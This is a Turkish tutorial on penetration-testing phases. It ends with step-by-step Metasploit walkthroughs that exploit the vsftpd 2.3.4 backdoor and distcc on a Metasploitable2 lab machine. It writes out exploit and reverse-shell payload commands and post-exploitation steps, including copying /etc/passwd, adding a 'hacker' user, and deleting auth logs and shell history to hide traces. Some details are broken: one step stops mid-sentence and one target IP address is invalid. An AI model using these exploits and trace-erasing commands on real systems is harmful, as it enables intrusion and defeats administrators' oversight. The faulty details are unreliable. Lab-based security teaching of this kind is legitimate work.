- İletişim altyapısındaki eksiklikler: İletişim altyapısı, ağ üzerindeki veri iletişiminin sağlanmasını sağlayan donanım ve yazılımlardır. İletişim altyapısında, güvenlik ayarlarının yanlış yapılması, güvenlik duvarı, antivirüs, ağ izleme gibi araçların kullanılmaması, ağ cihazlarının güvenli olmayan yerlere konulması gibi zafiyetler olabilir. Bu zafiyeti önlemek için, iletişim altyapısının güvenli ve sağlam bir şekilde kurulması ve yönetilmesi gerekir.
Uygun Program ve Exploitlerin Seçimi
Uygun program ve exploitlerin seçimi, bir sistemdeki zafiyetleri kullanarak saldırı yapmak için gerekli olan araçların belirlenmesidir. Zafiyetlerin türüne göre, farklı programlar ve exploitler kullanılabilir. Programlar ve exploitler, internetten bulunabileceği gibi, güvenlik uzmanları tarafından da yazılabilir.
Exploitler, bir sistemdeki zafiyetleri sömürmek için kullanılan yazılımlardır. Exploitler, sistem üzerinde istenilen işlemleri yapmak, veri çalmak, hak yükseltmek, sistemi ele geçirmek gibi amaçlarla kullanılabilir. Exploitler, farklı programlama dillerinde yazılabilir. Exploitler, kullanım yerlerine göre üçe ayrılır:
- Uzaktan exploitler: Bir sistemle uzaktan bağlantı kurmak ve sistemdeki açıkları kullanarak saldırı yapmak için kullanılan exploitlerdir. Örneğin, bir web sitesindeki SQL injection zafiyetini kullanarak veritabanına erişmek için uzaktan exploit kullanılabilir.
- Yerel exploitler: Bir sistemde zaten erişim hakkı olan bir kullanıcının, sistemdeki açıkları kullanarak daha fazla hak elde etmek veya başka işlemler yapmak için kullandığı exploitlerdir. Örneğin, bir Linux sistemindeki kernel zafiyetini kullanarak root yetkisi almak için yerel exploit kullanılabilir.
- Sıfır gün exploitler: Bir sistemde yeni keşfedilen ve henüz giderilmemiş olan zafiyetleri kullanmak için yazılan exploitlerdir. Bu exploitler, en tehlikeli olanlardır, çünkü sistem yöneticileri bu zafiyetlerden haberdar değildir. Örneğin, bir web tarayıcısındaki bir zafiyeti kullanarak kullanıcıların bilgisayarlarını ele geçirmek için sıfır gün exploit kullanılabilir.
Metasploit Programıyla vsftpd_234_backdoor İsimli Exploiti Kullanma İşlemi
Metasploit programıyla vsftpd_234_backdoor isimli exploiti kullanma işlemleri şu şekilde sıralanabilir:
- Öncelikle, hedef sistemin FTP sunucusunun vsftpd 2.3.4 sürümü olduğunu ve bu sürümde bir backdoor olduğunu tespit etmek gerekir. Bunun için nmap gibi bir port tarama aracı kullanılabilir. Örneğin, nmap -sV -p 21 [hedef IP] komutu ile FTP sunucusunun sürümünü öğrenebilirsiniz.
- Sonra, metasploit programını açarak exploit/unix/ftp/vsftpd_234_backdoor modülünü seçmek gerekir. Bunun için use exploit/unix/ftp/vsftpd_234_backdoor komutunu kullanabilirsiniz.
- Ardından, modülün gerektirdiği seçenekleri ayarlamak gerekir. Bunun için show options komutu ile seçenekleri görebilir ve set komutu ile değerlerini belirleyebilirsiniz. Örneğin, set RHOST [hedef IP] komutu ile hedef sistemin IP adresini ayarlayabilirsiniz. Ayrıca, set PAYLOAD [payload adı] komutu ile istediğiniz bir payload seçebilirsiniz. Payload, hedef sisteme gönderilen ve çalıştırılan kod parçasıdır. Metasploit programı, çeşitli payloadlar sunmaktadır. Örneğin, cmd/unix/reverse_perl payloadu, hedef sistemde bir Perl komut satırı açarak saldırganın kontrolüne geçmesini sağlar.
- Son olarak, exploit komutu ile exploiti çalıştırmak gerekir. Bu komut, hedef sisteme bağlanarak backdooru tetikler ve seçilen payloadu gönderir. Eğer başarılı olursa, hedef sisteme erişim sağlanır. Örneğin, cmd/unix/reverse_perl payloadu seçildiyse, hedef sistemde bir Perl komut satırı açılır ve saldırgan buradan istediği komutları çalıştırabilir.
Erişim Elde Etme ve Yetki Yükseltme
Erişim elde etme, sistemlere giriş yapmak için kullanılan bir tekniktir. Bu teknik, saldırganların sistemlerdeki zayıflıkları, güvenlik açıklarını veya yanlış yapılandırmaları bulmalarını ve bunlardan yararlanmalarını gerektirir. Örneğin, saldırganlar, zayıf parolaları kırmak, hizmet reddi saldırıları yapmak, kimlik avı e-postaları göndermek, zararlı yazılımlar bulaştırmak veya sosyal mühendislik yöntemleri kullanmak gibi çeşitli yöntemlerle erişim elde etmeye çalışabilirler. Erişim elde etme, saldırganların sistemlere sızmasının ilk adımıdır.
Yetki yükseltme, sistemlerde erişim elde edilen kullanıcı hesaplarının haklarının artırılması için kullanılan bir tekniktir. Bu teknik, saldırganların sistemlerdeki diğer zayıflıkları, güvenlik açıklarını veya yanlış yapılandırmaları bulmalarını ve bunlardan yararlanmalarını gerektirir. Örneğin, saldırganlar, sistem dosyalarını veya kayıt defterini değiştirmek, hizmetleri veya işlemleri durdurmak, yeni kullanıcı hesapları oluşturmak veya sistem ayarlarını değiştirmek gibi çeşitli yöntemlerle yetki yükseltmeye çalışabilirler. Yetki yükseltme, saldırganların sistemlerde tam kontrol sağlamasının ikinci adımıdır.
Erişim elde edilen sistemler üzerinden doğrudan erişilmeyen diğer ağlara yayılma, saldırganların hedef ağın diğer sistemlerine veya alt ağlarına sızmak için kullanılan bir tekniktir. Bu teknik, saldırganların erişim elde ettikleri sistemleri bir sıçrama noktası olarak kullanmalarını ve diğer sistemlerdeki zayıflıkları, güvenlik açıklarını veya yanlış yapılandırmaları bulmalarını ve bunlardan yararlanmalarını gerektirir. Örneğin, saldırganlar, erişim elde ettikleri sistemlerdeki ağ bilgilerini, dosya paylaşımlarını, uzak masaüstü bağlantılarını veya diğer uygulamaları kullanarak diğer sistemlere yayılmaya çalışabilirler. Yayılma, saldırganların hedef ağın tümünü ele geçirmesinin üçüncü adımıdır.
Erişim sağlanan sistemlerde çalışan uygulamalara ait giriş bilgileri elde etme, saldırganların sistemlerdeki uygulamaların kullanıcı adlarını ve parolalarını çalmak için kullanılan bir tekniktir. Bu teknik, saldırganların sistemlerdeki uygulamaların zayıflıklarını, güvenlik açıklarını veya yanlış yapılandırmalarını bulmalarını ve bunlardan yararlanmalarını gerektirir. Örneğin, saldırganlar, sistemlerdeki uygulamaların veritabanlarını, yapılandırma dosyalarını, belleklerini veya ağ trafiğini inceleyerek giriş bilgileri elde etmeye çalışabilirler. Giriş bilgileri elde etme, saldırganların sistemlerdeki uygulamalara erişmesinin dördüncü adımıdır.
Sistemler içinde bulunan önemli dosyaların, dokümanların bir kopyasını alma, saldırganların sistemlerdeki hassas veya gizli verileri çalmak için kullanılan bir tekniktir. Bu teknik, saldırganların sistemlerdeki dosya sistemlerini, dizinleri, dosya izinlerini veya dosya içeriklerini incelemelerini ve bunlardan yararlanmalarını gerektirir. Örneğin, saldırganlar, sistemlerdeki dosyaları kopyalamak, şifrelemek, silmek veya değiştirmek gibi çeşitli yöntemlerle veri hırsızlığı yapmaya çalışabilirler. Veri hırsızlığı, saldırganların sistemlerdeki verilere zarar vermesinin veya fidye istemesinin beşinci adımıdır.
Detaylı Araştırma
- Sızma süreci, bir saldırganın bir ağ veya sistem içine girerek yetkisiz erişim elde etmesi ve zarar vermesi anlamına gelir. Bu süreçte saldırgan, hedef sistemdeki admin yani yönetici haklarına sahip olmak ister. Çünkü admin hakları, sistemi kontrol etmek ve değiştirmek için en yüksek yetkiye sahiptir.
- Admin haklarını ele geçirmek için saldırgan, sistemin zayıf noktalarını bulmaya çalışır. Bu zayıf noktalar, sistemin tasarımında, programlamasında, yazılımında veya yapılandırmasında ortaya çıkan hatalardan kaynaklanabilir. Bu hatalar şöyle sınıflandırılabilir:
- Tasarım hataları (desing flaws): Sistemin tasarım aşamasında yapılan mantıksal veya kavramsal hatalardır. Örneğin, bir web sitesinin tasarımında, kullanıcıların şifrelerini güvenli bir şekilde saklamak yerine açık metin olarak tutmak bir tasarım hatasıdır. Bu hatadan yararlanan bir saldırgan, veritabanına erişerek kullanıcıların şifrelerini çalabilir.
- Programlama hataları: Sistemin kodlama aşamasında yapılan hatalardır. Örneğin, bir web sitesinin kodunda, kullanıcı girişi için girdi doğrulaması yapmamak bir programlama hatasıdır. Bu hatadan yararlanan bir saldırgan, SQL injection gibi tekniklerle veritabanına sızabilir.
- Yazılım hataları (bugs): Sistemin çalışma aşamasında ortaya çıkan hatalardır. Örneğin, bir yazılımın güncellemesi sırasında, yeni bir güvenlik açığı oluşması bir yazılım hatasıdır. Bu hatadan yararlanan bir saldırgan, sisteme zararlı kod enjekte edebilir.
- Yapılandırma hataları: Sistemin kurulum veya ayar aşamasında yapılan hatalardır. Örneğin, bir sunucunun güvenlik duvarı kurallarını yanlış ayarlamak bir yapılandırma hatasıdır. Bu hatadan yararlanan bir saldırgan, sunucuya istediği gibi erişebilir.
- Admin haklarını ele geçiren bir saldırgan, sistemin gizli verilerini görebilir, dosyalarını silebilir, virüsler ve Truva atları gibi kötücül programları sisteme yükleyebilir. Bu şekilde sistemi ele geçirebilir, bozabilir veya fidye isteyebilir. Bu nedenle, sızma sürecinde admin haklarını korumak çok önemlidir.
Erişimlerin Korunması
- Giriş kayıtlarının silinmesi: Sisteme giren bir saldırgan, iz bırakmamak için yaptığı işlemleri kaydeden dosyaları (log) silmeye veya değiştirmeye çalışır. Böylece sistem yöneticileri saldırıyı fark edemez veya saldırganın kimliğini tespit edemez.
- Gizli kanalların kullanılması: Sisteme giren bir saldırgan, dışarıya veri göndermek veya başka bir sisteme erişmek için gizli kanallar (covert channel) kullanabilir. Gizli kanallar, sistemde normal olarak kullanılan iletişim kanallarının (overt channel) saldırgan tarafından kötüye kullanılmasıdır. Örneğin, saldırgan, bir dosyanın boyutunu veya saati değiştirerek gizli bir mesaj gönderebilir.
- Arka kapı bırakılması: Sisteme giren bir saldırgan, daha sonra tekrar erişebilmek için arka kapı (backdoor) bırakabilir. Arka kapılar, sistemdeki bir açıktan veya hatalı bir yazılımdan yararlanarak oluşturulan gizli erişim noktalarıdır. Örneğin, saldırgan, sistemdeki bir servisin şifresini değiştirerek veya bir trojan programı yükleyerek arka kapı bırakabilir.
- Rootkit yerleştirilmesi: Sisteme giren bir saldırgan, arka kapı bırakmanın yanı sıra, rootkit adı verilen gelişmiş bir teknik kullanabilir. Rootkit, sistemdeki önemli dosyaları veya işlemleri gizleyen veya değiştiren bir yazılım paketidir. Rootkit, saldırganın sistemi tamamen kontrol etmesini ve sistem yöneticilerinin saldırıyı fark etmesini engellemesini sağlar. Örneğin, rootkit, saldırganın bağlantı kurduğu portu veya klavye girdilerini gizleyebilir.
İzlerin Silinmesi
Sızma testi, bir sistemin güvenliğini değerlendirmek için bilinçli olarak saldırıya uğratılması işlemidir. Sızma testi yapan kişi veya ekip, sisteme erişmek, veri çalmak veya sistemi bozmak gibi amaçlarla çeşitli yöntemler kullanır. Bu yöntemler arasında arka kapılar, scriptler ve exploitler gibi araçlar vardır. Arka kapılar, sisteme yetkisiz erişim sağlamak için kullanılan gizli programlardır. Scriptler, belirli işlemleri otomatikleştirmek için yazılan kod parçalarıdır. Exploitler, sistemdeki zayıf noktaları bulmak ve istismar etmek için kullanılan yazılımlardır.
Sızma testi yapan kişi veya ekip, test sonucunda sisteme nasıl eriştiklerini, hangi verileri aldıklarını veya hangi değişiklikleri yaptıklarını rapor etmelidir. Ayrıca, test sırasında sisteme bıraktıkları izleri silmelidir. Bu izler, arka kapılar, scriptler, exploitler ve eklenmiş veriler olabilir. Bu izlerin silinmesi, sistemin güvenliğini korumak, sistemin performansını artırmak ve testin etik kurallarına uygun olmasını sağlamak için önemlidir. Bu izlerin silinmesi, test yapan kişi veya ekibin not aldığı verileri kullanarak yapılmalıdır. Örneğin, çalıştırılan bir exploit, sistemin bir dosyasını değiştirdiyse, bu dosya orijinal haline getirilmelidir. Oluşturulan bir arka kapı veya script dosyası ise, bu dosya silinmelidir. Test için eklenmiş veriler de aynı şekilde silinmelidir. Bu şekilde, sızma testi yapan kişi veya ekip, sisteme zarar vermeden ve iz bırakmadan testi tamamlamış olur.
Raporlama
Sızma testi, bir sistemin güvenliğini ölçmek için yapılan bir işlemdir. Sızma testi sonucunda, sistemin güçlü ve zayıf yönleri ortaya çıkar. Bu bilgiler, sistemi daha güvenli hale getirmek için kullanılabilir. Bu yüzden, sızma testi raporu çok önemlidir. Sızma testi raporu, testin nasıl yapıldığını, ne gibi sonuçlar elde edildiğini ve ne gibi öneriler sunulduğunu anlatan bir belgedir.
Sızma testi raporu, şu bölümlerden oluşabilir:
- Giriş: Bu bölümde, testin amacı, kapsamı, zamanı, yöntemi ve kullanılan araçlar anlatılır. Testin hangi kurum için yapıldığı, hangi sistemleri kapsadığı, ne kadar sürdüğü, hangi standartlara uyulduğu ve hangi programlarla gerçekleştirildiği belirtilir. Bu bölüm, testin genel çerçevesini verir.
- Bulgular: Bu bölümde, test sırasında ortaya çıkan güvenlik açıkları, risk seviyeleri, etkilenen sistemler ve kanıtlar listelenir. Güvenlik açıkları, farklı kategorilere göre sınıflandırılır. Örneğin, yüksek, orta ve düşük riskli açıklar olarak. Her açık için, nasıl bulunduğu, nasıl istismar edilebileceği, ne gibi sonuçlar doğurabileceği ve nasıl tespit edilebileceği açıklanır. Ayrıca, her açık için, sistemin durumunu gösteren ekran görüntüleri, log kayıtları, kod parçaları gibi kanıtlar sunulur. Bu bölüm, testin detaylı sonuçlarını verir.
- Öneriler: Bu bölümde, test sonucunda bulunan güvenlik açıklarını gidermek için önerilen çözümler, iyileştirme planları ve kaynaklar sunulur. Her açık için, nasıl düzeltilebileceği, ne gibi önlemler alınabileceği, ne kadar zaman ve maliyet gerektireceği belirtilir. Ayrıca, sistemin güvenliğini artırmak için genel tavsiyeler, en iyi uygulamalar, güncellemeler, eğitimler gibi kaynaklar paylaşılır. Bu bölüm, testin pratik yararlarını verir.
Sızma testi raporu, test yapan kişi veya ekip tarafından hazırlanır. Test yapan kişi veya ekip, test sırasında karşılaştıkları güvenlik açıklarını, hem yazılı hem de sözlü olarak ilgili kuruma bildirmelidir. Rapor, ilgili kurumun sistem yöneticileri, güvenlik uzmanları, yöneticiler ve diğer ilgililer tarafından okunabilir ve anlaşılabilir olmalıdır. Rapor, ilgili kurumun güvenlik durumunu değerlendirmesine ve iyileştirmesine yardımcı olmalıdır.
Zamanlama
Sızma testi, bir sistemin güvenliğini test etmek için yapılan bir işlemdir. Sızma testi yaparken, sisteme zarar vermemek, sistemin çalışmasını engellememek ve testin etik kurallarına uygun olmasını sağlamak için testin zamanlamasına dikkat etmek gerekir. Sızma testi yapılacak sistemlerin ne kadar önemli oldukları, ne zaman yoğun kullanıldıkları ve ne gibi hizmetler verdikleri göz önünde bulundurulmalıdır. Sızma testi, sistemin en az kullanıldığı, en az riskli olduğu ve en az etkileşimli olduğu zamanlarda yapılmalıdır.
Örneğin, DDoS testi, sisteme çok sayıda istek göndererek sistemin kapasitesini aşmaya çalışan bir saldırı türüdür. DDoS testi yaparken, sistemin normal çalışmasını bozmamak, sistemin kullanıcılarına veya müşterilerine zarar vermemek ve sistemin güvenliğini tehlikeye atmadan test etmek için testin uygun bir zamanda yapılması gerekir. DDoS testi, sistemin en az trafiğe sahip olduğu, en az kritik olduğu ve en az hizmet verdiği zamanlarda yapılması önerilir. Bu zamanlar genellikle hafta sonu ve gece yarısı olabilir. Bu şekilde, DDoS testi, sistemin güvenliğini değerlendirmeye yardımcı olurken, sistemin performansını ve hizmet kalitesini korur.
Sızma Testi Kalitesinin Ölçülmesi
Sızma testi kalitesinin ölçümü, bir sistemin güvenliğini değerlendirmek için yapılan bir işlemdir. Sızma testi, bir saldırganın sisteme nasıl sızabileceğini, hangi zafiyetleri kullanabileceğini ve sistemin ne kadar dayanıklı olduğunu gösterir. Sızma testi kalitesinin ölçümü için aşağıdaki adımlar izlenebilir:
- Öncelikle, sızma testi yapılacak sistemin kapsamı, hedefleri, yöntemleri ve zamanlaması belirlenmelidir. Bu aşamada, ilgili kurumun beklentileri, riskleri ve bütçesi göz önünde bulundurulmalıdır.
- Sonra, sistemin zafiyet taraması yapılmalıdır. Zafiyet taraması, sistemin bilinen güvenlik açıklarını, yapılandırma hatalarını, güncel olmayan yazılımları ve diğer zayıf noktalarını tespit eder. Zafiyet taraması, sızma testinin ilk adımıdır ve sızma testinin kapsamını ve derinliğini belirler.
- Ardından, zafiyet taraması sonucunda bulunan zafiyetlerin sızma testi ile doğrulanması gerekmektedir. Sızma testi, zafiyetleri gerçek bir saldırı senaryosu ile test eder ve sisteme sızma, veri çalma, yetki yükseltme, sistem ele geçirme gibi eylemleri gerçekleştirir. Sızma testi, zafiyetlerin gerçek etkisini, tehlikesini ve önceliğini ortaya koyar. Sızma testi, farklı çeşitlerde olabilir. Örneğin, beyaz kutu sızma testi, test edilen sistemin tam bilgisine sahip olan bir testtir. Siyah kutu sızma testi, test edilen sistemin hiçbir bilgisine sahip olmayan bir testtir. Gri kutu sızma testi, test edilen sistemin kısmi bilgisine sahip olan bir testtir. Ayrıca, sızma testi, içeriden veya dışarıdan yapılabilir. İçeriden sızma testi, sistemin iç ağından veya çalışanlarından gelen bir saldırıyı simüle eder. Dışarıdan sızma testi, sistemin internet üzerinden veya dış ağından gelen bir saldırıyı simüle eder.
- Son olarak, sızma testi sonuçları raporlanmalı ve gerekli iyileştirme çalışmaları yapılmalıdır. Rapor, sızma testinin kapsamını, yöntemlerini, bulgularını, risk derecelerini, önerilerini ve kanıtlarını içermelidir. Rapor, ilgili kurumun güvenlik durumunu anlamasına ve geliştirmesine yardımcı olur. İyileştirme çalışmaları, raporda belirtilen zafiyetleri gidermek için alınması gereken teknik ve idari önlemleri içerir. İyileştirme çalışmaları tamamlandıktan sonra, doğrulama testi yapılmalıdır. Doğrulama testi, iyileştirme çalışmalarının etkinliğini ve sistemin güvenlik seviyesini ölçer.
Bulguların Saklanması
Bulguların saklanması, sızma testlerinin güvenliğini sağlamak için önemli bir adımdır. Sızma testleri, hedef sistemlerin güvenlik açıklarını, verilerini, yapılandırmalarını ve diğer hassas bilgilerini ortaya çıkarır. Bu bilgiler, sızma testlerini yapan ekiplerin dışında kimseyle paylaşılmamalıdır. Aksi takdirde, bu bilgiler kötü niyetli kişilerin eline geçebilir ve hedef sistemlere zarar verebilir.
Bulguların saklanması için, sızma testlerinin sonuçlarının bulunduğu fiziksel ortamın güvenli olması gerekir. Örneğin, sonuçların kaydedildiği bilgisayar, disk, USB bellek gibi cihazlar kilitli bir dolapta veya kasada tutulmalıdır. Ayrıca, sonuçların elektronik olarak korunması da önemlidir. Elektronik koruma, sonuçların şifrelenmesi, parola koruması, erişim kontrolü gibi yöntemlerle sağlanabilir. Şifreleme, sonuçların okunabilirliğini sadece belirli bir anahtar veya parola ile mümkün kılar. Parola koruması, sonuçlara erişmek için bir parola girmeyi zorunlu kılar. Erişim kontrolü, sonuçlara erişebilecek kişi veya grupları belirler.
Bulguların saklanması için kullanılabilecek bir araç, Truecrypt adlı bir disk şifreleme yazılımıdır. Truecrypt, bir disk bölümünü veya bir dosyayı şifreleyerek sanal bir disk oluşturur. Bu sanal disk, sadece Truecrypt ile açılabilir ve içindeki veriler güvenli bir şekilde saklanır. Truecrypt, farklı şifreleme algoritmaları ve parola seçenekleri sunar. Truecrypt, sızma testi sonuçlarının güvenli bir şekilde saklanmasına yardımcı olabilir.
Kali Sanal Makinesinden Metasploitable2 Sanal Makinesine Metasploit Aracıyla Sızma ve Çeşitli Eylemleri Gerçekleştirme
1. Adım: Bu adımda, Kali sanal makinesinde nmap aracı kullanılarak aynı ağda bulunan diğer cihazların IP adresleri ve ana bilgisayar adları tespit edilmektedir. Bu sayede, hedef olarak seçilecek cihazın IP adresi belirlenebilmektedir. nmap –sP 192.168.0.0 komutu, 192.168.0.0 ağında bulunan tüm cihazları tarayarak, hangilerinin aktif olduğunu ve hangi ana bilgisayar adına sahip olduğunu göstermektedir.
2. Adım: Bu adımda, Kali sanal makinesinin kendi IP adresi öğrenilmektedir. Bu, daha sonra metasploit aracında kullanılacak olan yerel ana bilgisayar adresi (LHOST) olarak tanımlanacaktır. ifconfig komutu, Kali sanal makinesinin ağ arayüzlerini ve bunlara ait IP adreslerini, ağ maskelerini, MAC adreslerini ve diğer bilgileri göstermektedir.
3. Adım: Bu adımda, hedef olarak seçilen cihazın IP adresi ile ayrıntılı bir ağ taraması gerçekleştirilmektedir. Bu, hedef cihazın işletim sistemi, açık portları, çalışan servisleri, versiyon bilgileri, MAC adresi ve diğer özelliklerini ortaya çıkarmaktadır. Bu bilgiler, hedef cihazın zafiyetlerini belirlemek ve uygun bir exploit seçmek için kullanılacaktır. nmap -v -A Hedef IP Adresi komutu, hedef IP adresi ile ilgili ayrıntılı bir ağ haritası çıkarmaktadır. -v parametresi, tarama işleminin ayrıntılarını göstermek için kullanılmaktadır. -A parametresi, işletim sistemi tespiti, versiyon tespiti, script taraması ve traceroute gibi gelişmiş tarama seçeneklerini etkinleştirmek için kullanılmaktadır.
4. Adım: Bu adımda, hedef cihazın açık portları ve çalışan servislerinin versiyon bilgileri daha detaylı bir şekilde incelenmektedir. Bu, hedef cihazın hangi exploitlere karşı savunmasız olduğunu belirlemek için kullanılacaktır. nmap -sV Hedef IP Adresi komutu, hedef IP adresi ile ilgili tam bir tarama yapmaktadır. -sV parametresi, servis versiyon tespiti yapmak için kullanılmaktadır.
5. Adım: Bu adımda, metasploit aracı açılarak, hedef cihazın zafiyetlerini sömürmek için uygun bir exploit aranmaktadır. Metasploit, birçok farklı exploit, payload, modül ve araç içeren bir güvenlik çerçevesidir. Exploit, bir sistemdeki zafiyeti kullanarak kod çalıştırmayı sağlayan bir programdır. Payload, exploit tarafından çalıştırılan ve hedef sistemde istenilen eylemleri gerçekleştiren kod parçasıdır. msfconsole komutu, metasploit aracının komut satırı arayüzünü açmaktadır. Tespit edilen zafiyetin adı, metasploit aracı içinde search komutu ile aranmaktadır.
6. Adım: Bu adımda, hedef cihazın 21 numaralı portunda çalışan FTP servisinin bir zafiyeti kullanılarak, hedef sistemde kod çalıştırmak için vsftpd_234_backdoor exploitini kullanmaktadır. Bu exploit, 2011 yılında keşfedilen ve vsftpd 2.3.4 versiyonunda bulunan bir arka kapı zafiyetini sömürmektedir. Bu zafiyet, FTP servisine bağlanan bir kullanıcının şifresinin sonuna
7. Adım: Bu adımda, use komutu ile seçilen exploit, metasploit aracında kullanılmak üzere belirlenmektedir. use vsftpd_234_backdoor komutu, vsftpd_234_backdoor exploitini etkinleştirmektedir.
8. Adım: Bu adımda, show options komutu ile seçilen exploitin hangi parametrelerin ayarlanması gerektiği görülmektedir. Bu parametreler, hedef cihazın IP adresi (RHOST), yerel ana bilgisayarın IP adresi (LHOST), kullanılacak payload (PAYLOAD) ve diğer seçeneklerdir.
9. Adım: Bu adımda, show payloads komutu ile seçilen exploit ile uyumlu olan payloadlar listelenmektedir. Payloadlar, hedef sistemde çalıştırılacak olan kod parçalarıdır. Örneğin, cmd/unix/interact payloadu, hedef sistemde etkileşimli bir kabuk açmaktadır. reverse_tcp payloadu, hedef sistemden yerel ana bilgisayara ters bağlantı kurmaktadır. bind_tcp payloadu, hedef sistemde bir port açarak, yerel ana bilgisayardan bağlantı beklemektedir.
10. Adım: Bu adımda, set payload komutu ile kullanılacak payload belirlenmektedir. set payload cmd/unix/interact komutu, cmd/unix/interact payloadunu seçmektedir. Bu payload, exploit ile hedef sistemde bir kabuk açıldığında, kullanıcıya bir bağlantı oluşturmakta ve hedef sistemde komut çalıştırmayı sağlamaktadır.
11. Adım: Bu adımda, set RHOST komutu ile hedef cihazın IP adresi belirlenmektedir. set RHOST 192.168.134 komutu, hedef cihazın IP adresini 192.168.134 olarak ayarlamaktadır.
12. Adım: Bu adımda, set LHOST komutu ile yerel ana bilgisayarın IP adresi belirlenmektedir. set LHOST 192.168.182.128 komutu, yerel ana bilgisayarın IP adresini 192.168.182.128 olarak ayarlamaktadır.
13. Adım: Bu adımda, exploit veya run komutu ile exploit işlemi başlatılmaktadır. exploit komutu, seçilen exploit ve payload ile hedef cihaza saldırmaktadır. run komutu, seçilen exploitin çalıştırılmasını sağlamaktadır. Bu komutlar sonucunda, hedef cihazın FTP servisindeki arka kapı zafiyeti kullanılarak, hedef sistemde bir kabuk açılmaktadır. İşlemin başarılı olduğu, command Shell session 1 opened mesajı ile görülmektedir.
14. Adım: Bu adımda, hedef sistemde açılan kabukta, whoami ve ifconfig komutları ile hedef cihazın kullanıcı adı ve IP adresi gibi bilgilerine bakılmaktadır. whoami komutu, hedef sistemde hangi kullanıcı olarak oturum açıldığını göstermektedir. ifconfig komutu, hedef sistemdeki ağ arayüzleri ve bunlara ait IP adresleri, ağ maskeleri, MAC adresleri ve diğer bilgileri göstermektedir.
15. Adım: Bu adımda, hedef sistemde açılan kabukta, uname komutu ile hedef cihazın işletim sistemi bilgisine bakılmaktadır. uname komutu, hedef cihazın işletim sisteminin adını, çekirdek versiyonunu, mimarisini ve diğer bilgileri göstermektedir.
16. Adım: Bu adımda, hedef sistemde açılan kabukta, ilgili Linux komutları ile çeşitli eylemler gerçekleştirilmektedir. Bu eylemler şunlardır:
- Yetki yükseltme: Hedef sistemde daha yüksek bir kullanıcı seviyesine geçmek için, sudo veya su komutları kullanılabilir. sudo komutu, bir komutu yönetici (root) olarak çalıştırmayı sağlar. su komutu, başka bir kullanıcı olarak oturum açmayı sağlar. Bu komutlar, hedef sistemdeki kullanıcıların şifrelerini bilmeyi gerektirir. Şifre bilinmiyorsa, hedef sistemdeki zafiyetlerden yararlanarak, yetki yükseltme yapılabilir. Örneğin, hedef sistemdeki kernel versiyonu, bilinen bir zafiyete sahipse, bu zafiyeti sömürerek root olunabilir. Bunun için, metasploit aracında, search kernel versiyonu komutu ile uygun bir exploit aranabilir. Ardından, use exploit, set payload, set RHOST, set LHOST, exploit komutları ile hedef sistemde root olunabilir.
- Dosya kopyalama: Hedef sistemdeki bir dosyayı yerel ana bilgisayara kopyalamak için, cp komutu kullanılabilir. cp kaynak_dosya hedef_dosya komutu, kaynak_dosya adlı dosyayı hedef_dosya adıyla kopyalar. Örneğin, cp /etc/passwd /tmp/passwd komutu, hedef sistemdeki kullanıcı bilgilerini içeren /etc/passwd dosyasını /tmp klasörüne kopyalar. Ardından, metasploit aracında, download /tmp/passwd komutu ile bu dosyayı yerel ana bilgisayara indirilebilir.
- İstenilen dosyayı silme: Hedef sistemdeki bir dosyayı silmek için, rm komutu kullanılabilir. rm dosya_ismi komutu, dosya_ismi adlı dosyayı siler. Örneğin, rm /tmp/passwd komutu, /tmp klasöründeki passwd dosyasını siler.
- Kullanıcı ekleme: Hedef sistemde yeni bir kullanıcı eklemek için, useradd komutu kullanılabilir. useradd kullanıcı_ismi komutu, kullanıcı_ismi adlı yeni bir kullanıcı oluşturur. Örneğin, useradd hacker komutu, hacker adlı yeni bir kullanıcı oluşturur. Ardından, passwd hacker komutu ile bu kullanıcıya bir şifre belirlenebilir.
- Kullanıcı şifresini değiştirme: Hedef sistemdeki bir kullanıcının şifresini değiştirmek için, passwd komutu kullanılabilir. passwd kullanıcı_ismi komutu, kullanıcı_ismi adlı kullanıcının şifresini değiştirmeyi sağlar. Örneğin, passwd root komutu, root kullanıcısının şifresini değiştirmeyi sağlar. Bu komut, root olmayı veya kullanıcının eski şifresini bilmeyi gerektirir. Eğer bunlar bilinmiyorsa, hedef sistemdeki zafiyetlerden yararlanarak, kullanıcı şifresini değiştirmek mümkün olabilir. Örneğin, hedef sistemdeki /etc/passwd dosyasını kopyalayarak, yerel ana bilgisayarda bir şifre kırma programı ile şifreyi kırmak veya /etc/passwd dosyasını düzenleyerek, şifreyi değiştirmek mümkün olabilir.
- İzleri silme: Hedef sistemde yapılan eylemlerin izlerini silmek için, history, rm, unset gibi komutlar kullanılabilir. history komutu, kabukta çalıştırılan komutların geçmişini gösterir. history -c komutu, bu geçmişi siler. rm /var/log/auth.log komutu, hedef sistemdeki kimlik doğrulama kayıtlarını siler. unset HISTFILE komutu, kabukta çalıştırılan komutların kaydedilmesini engeller.
- Yapılan değişiklikleri eski haline getirme: Hedef sistemde yapılan değişiklikleri geri almak için, userdel, passwd, cp gibi komutlar kullanılabilir. userdel kullanıcı_ismi komutu, kullanıcı_ismi adlı kullanıcıyı siler. Örneğin, userdel hacker komutu, hacker adlı kullanıcıyı siler. passwd -d kullanıcı_ismi komutu, kullanıcı_ismi adlı kullanıcının şifresini boşaltır. Örneğin, passwd -d root komutu, root kullanıcısının şifresini boşaltır. cp kaynak_dosya hedef_dosya komutu, kaynak_dosya adlı dosyayı hedef_dosya adıyla kopyalar. Örneğin, cp /etc/passwd.bak /etc/passwd komutu, /etc/passwd dosyasının yedeğini geri yükler.
Kali Sanal Makinesinden Metasploitable2 Sanal Makinesine Metasploit Aracıyla Sızma ve Savunmasız DISTCC’den Yararlanma
- Kali sanal makinesiyle aynı ağda olan Metasploitable2 sanal makinesine sızma testi yapmak istiyorum.
- Öncelikle, nmap aracını kullanarak ağdaki diğer cihazların IP adreslerini ve isimlerini bulmak için nmap –sP 192.168.0.0 komutunu çalıştırıyorum.
- Sonra, Kali sanal makinesinin IP adresini öğrenmek için ifconfig komutunu kullanıyorum.
- Hedef olarak seçtiğim Metasploitable2 sanal makinesinin IP adresini bulduktan sonra, bu cihazın açık portlarını ve zafiyetlerini tespit etmek için nmap -sV -A -T4 192.168.1.37 komutunu çalıştırıyorum. Bu komut, hedef cihazın işletim sistemi, servis versiyonları, çalışan uygulamalar ve diğer bilgileri hakkında ayrıntılı bir rapor veriyor.
- Raporu incelediğimde, 3632 numaralı portta çalışan distcc servisinin bir zafiyet içerdiğini görüyorum. Bu zafiyeti kullanarak hedef cihaza erişmek için metasploit aracını açıyorum.
- Metasploit aracında, search distcc komutunu girerek bu zafiyet için uygun olan exploitleri arıyorum. Arama sonucunda, distcc_exec adlı bir exploit buluyorum.
